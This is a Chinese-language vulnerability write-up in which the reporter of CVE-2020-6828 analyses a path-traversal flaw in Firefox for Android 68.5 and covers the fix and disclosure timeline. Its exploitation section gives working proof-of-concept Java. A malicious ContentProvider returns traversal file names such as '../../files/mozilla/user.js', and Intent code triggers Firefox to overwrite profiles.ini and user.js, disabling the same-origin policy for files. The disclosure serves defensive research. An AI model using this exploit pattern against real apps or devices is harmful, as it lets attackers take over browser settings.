CVE-2020-6828：Firefox for Android任意文件覆盖漏洞分析-安全客

2020年4月，Mozilla安全公告披露并修复了我在Firefox 68.5提交的一个漏洞，漏洞编号为CVE-2020-6828。攻击者可利用该漏洞覆盖Firefox私有目录中的文件，从而控制浏览器的任意配置项，如配置代理服务器，关闭同源策略等，造成等同与任意代码执行的危害。

漏洞原理

Firefox允许外部APP调用它打开Content URI。

        <activity-alias android:label="Firefox" android:name=".App" android:targetActivity="org.mozilla.gecko.LauncherActivity">
            <intent-filter android:priority="999">
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
                <category android:name="android.intent.category.MULTIWINDOW_LAUNCHER"/>
                <category android:name="android.intent.category.APP_BROWSER"/>
                <category android:name="android.intent.category.DEFAULT"/>
            </intent-filter>
            <intent-filter>
                <action android:name="android.intent.action.VIEW"/>
                <category android:name="android.intent.category.BROWSABLE"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <data android:scheme="file"/>
                <data android:scheme="http"/>
                <data android:scheme="https"/>
                <data android:scheme="content"/>
                <data android:mimeType="text/html"/>
                <data android:mimeType="text/plain"/>
                <data android:mimeType="application/xhtml+xml"/>
                <data android:mimeType="image/svg+xml"/>
            </intent-filter>

如果传入的URI是Content URI，会调用org.mozilla.gecko.util.FileUtils.resolveContentUri。

            Intent parseUri = Intent.parseUri(string, 0);
            if (FileUtils.isContentUri(string)) {
                String resolveContentUri = FileUtils.resolveContentUri(getContext(), parseUri.getData());
                if (!TextUtils.isEmpty(resolveContentUri)) {
                    geckoBundle2.putString("uri", resolveContentUri);
                    geckoBundle2.putBoolean("isFallback", true);
                }
                eventCallback.sendError(geckoBundle2);
                return;
            }

resolveContentUri会将Content URI转成File URI。

    public static String resolveContentUri(Context context, Uri uri) {
        String originalFilePathFromUri = ContentUriUtils.getOriginalFilePathFromUri(context, uri);
        if (TextUtils.isEmpty(originalFilePathFromUri)) {
            originalFilePathFromUri = ContentUriUtils.getTempFilePathFromContentUri(context, uri);
        }
        if (TextUtils.isEmpty(originalFilePathFromUri)) {
            return originalFilePathFromUri;
        }
        return String.format("file://%s", originalFilePathFromUri);
    }

重点看getTempFilePathFromContentUri，它调用了getFileNameFromContentUri来从ContentProvider中获取文件名，并将其和Cache目录拼接创建了一个文件，最后调用copy从ContentProvider中读取数据写入到该文件中。

    public static String getTempFilePathFromContentUri(Context context, Uri uri) {
        String fileNameFromContentUri = FileUtils.getFileNameFromContentUri(context, uri);
        File file = new File(context.getCacheDir(), "contentUri");
        boolean mkdirs = !file.exists() ? file.mkdirs() : true;
        if (TextUtils.isEmpty(fileNameFromContentUri) || !mkdirs) {
            return null;
        }
        File file2 = new File(file.getPath(), fileNameFromContentUri);
        FileUtils.copy(context, uri, file2);
        return file2.getAbsolutePath();
    }

再来看getFileNameFromContentUri，它直接从ContentProvider获取_display_name作为文件名返回，没有进行任何处理。

    public static String getFileNameFromContentUri(final Context context, final Uri uri) {
        final ContentResolver cr = context.getContentResolver();
        final String[] projection = {MediaStore.MediaColumns.DISPLAY_NAME};
        String fileName = null;

        try (Cursor metaCursor = cr.query(uri, projection, null, null, null);) {
            if (metaCursor.moveToFirst()) {
                fileName = metaCursor.getString(0);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }

        return fileName;
    }

当恶意的ContentProvider返回的_display_name为../evil时，即可跳出Cache目录，导致任意文件覆盖。

如何利用

在Firefox的私有目录中有一个文件/data/data/org.mozilla.firefox/files/mozilla/profiles.ini，其中PATH为随机生成的用户目录。

[Profile0]
Name=default
Default=1
IsRelative=1
Path=irgc212v.default


[General]
StartWithLastProfile=1

在用户目录发现了一个文件prefs.js，内容如下：

// Mozilla User Preferences

// DO NOT EDIT THIS FILE.
//
// If you make changes to this file while the application is running,
// the changes will be overwritten when the application exits.
//
// To change a preference value, you can either:
// - modify it via the UI (e.g. via about:config in the browser); or
// - set it within a user.js file in your profile.

user_pref("android.not_a_preference.addons_active", "[\"webcompat@mozilla.org\",\"default-theme@mozilla.org\"]");
user_pref("android.not_a_preference.addons_disabled", "[]");
...

从文件的内容得知，可以在用户目录中写入一个user.js文件来修改浏览器的配置项。

创建一个恶意的ContentProvider并实现query和openFile方法。


    @Override
    public Cursor query(Uri uri, String[] strings, String s, String[] strings1, String s1) {


        Log.d(TAG, "query: "+ Arrays.toString(strings));
        String path = uri.getPath();

        if (path.contains("user.js")) {
            File payload = new File(getContext().getExternalCacheDir(), "user.js");


            Log.d(TAG, "query: " + path);
            String[] columnNames = new String[]{"_display_name", "_size"};

            MatrixCursor matrixCursor = new MatrixCursor(columnNames, 1);
            matrixCursor.addRow(new Object[]{"../../files/mozilla/user.js", payload.length()});

            return matrixCursor;
        } else if (path.contains("profiles.ini")) {
            File payload = new File(getContext().getExternalCacheDir(), "profiles.ini");


            Log.d(TAG, "query: " + path);
            String[] columnNames = new String[]{"_display_name", "_size"};

            MatrixCursor matrixCursor = new MatrixCursor(columnNames, 1);
            matrixCursor.addRow(new Object[]{"../../files/mozilla/profiles.ini", payload.length()});

            return matrixCursor;
        }

        return null;



    }



    @Override
    public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {




        Log.d(TAG, "openFile: "+uri.toString());
        String path = uri.getPath();

        if (path.contains("user.js")) {
            File payload = new File(getContext().getExternalCacheDir(), "user.js");

            return ParcelFileDescriptor.open(payload, ParcelFileDescriptor.MODE_READ_ONLY);
        } else if (path.contains("profiles.ini")) {
            File payload = new File(getContext().getExternalCacheDir(), "profiles.ini");

            return ParcelFileDescriptor.open(payload, ParcelFileDescriptor.MODE_READ_ONLY);
        }

        return null;




    }

然后调用Firefox打开Content URI。


        Intent intent = new Intent();
        intent.setPackage("org.mozilla.firefox");


        intent.setAction(Intent.ACTION_VIEW);

        intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION
                | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);

        intent.setDataAndType(Uri.parse("content://com.app.poc/user.js"), "*/*");

        startActivity(intent);

        try {
            Thread.sleep(1000);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }

        intent.setDataAndType(Uri.parse("content://com.app.poc/profiles.ini"), "*/*");

        startActivity(intent);

第一步，先覆盖/data/data/org.mozilla.firefox/files/mozilla/profiles.ini文件，将用户目录PATH修改为/data/data/org.mozilla.firefox/files/mozilla/。

[Profile0]
Name=default
Default=1
IsRelative=1
Path=.

[General]
StartWithLastProfile=1

第二步，在/data/data/org.mozilla.firefox/files/mozilla/目录写入一个user.js文件，即可控制浏览器的任意配置项（具体配置可参见about:config），如写入以下内容就可以关闭File下的同源策略。

user_pref("security.fileuri.strict_origin_policy", false);

漏洞修复

Firefox 68.7在FileUtils新增了sanitizeFilename方法，通过File.getName来对文件名进行清洗，解决了目录遍历的问题。

时间线

2020-02-25 – 漏洞提交
2020-03-02 – 漏洞确认
2020-03-16 – 漏洞修复&赏金发放
2020-04-07 – 发布安全公告和漏洞编号

CVE-2020-6828：Firefox for Android任意文件覆盖漏洞分析

译文声明

漏洞原理

如何利用

漏洞修复

时间线

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